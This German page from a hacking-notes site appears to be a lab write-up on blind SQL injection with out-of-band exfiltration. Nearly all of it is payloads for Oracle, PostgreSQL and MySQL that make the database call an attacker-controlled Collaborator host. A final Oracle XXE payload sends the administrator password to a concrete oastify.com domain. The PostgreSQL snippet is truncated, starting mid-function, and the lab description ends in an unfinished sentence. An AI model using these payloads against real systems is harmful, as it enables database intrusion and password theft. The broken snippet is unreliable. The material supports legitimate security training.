> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/sql-injection-data-exfiltration-via-oob-channel.md).

# SQL-Injection-Datenexfiltration via OOB-Zeichenfolge

### Blind-SQL-Injection mit Out-of-band-Datenausleitung

Dieses Labor enthält eine Blind-SQL-Injection-Schwachstelle. Die Anwendung verwendet ein Tracking-Cookie für die Analyse und führt eine SQL-Abfrage aus, die den Wert des übermittelten Cookies enthält. / Die SQL-Abfrage wird asynchron ausgeführt und hat keinen Einfluss auf die Antwort der Anwendung. Es ist jedoch möglich, Out-of-band-Interaktionen mit einer externen Domain auszulösen. / Die Datenbank enthält eine separate Tabelle namens `users`, mit `Benutzernamen` und `Passwort` Spalten. Sie müssen die Blind-SQL-Schwachstelle ausnutzen, um das `Administrator` Benutzerpasswort.

* Oracle

{% code overflow="wrap" %}

```sql
SELECT EXTRACTVALUE(
  xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),
  '/l')
FROM dual
```

{% endcode %}

* PostgreSQL

```sql
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
```

* MySQL

```sql
SELECT YOUR-QUERY-HERE INTO OUTFILE '////BURP-COLLABORATOR-SUBDOMAIN/a'
```

Administratorkennwort wiederherstellen (`SELECT password FROM users WHERE username = 'administrator'`)

{% code overflow="wrap" %}

```sql
' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://'||(select password from users where username='administrator')||'.qnhdkeii23lhv8cats06caltuk0bo8cx.oastify.com/"> %25remote%3b]>'),'/l') FROM dual-- -
```

{% endcode %}


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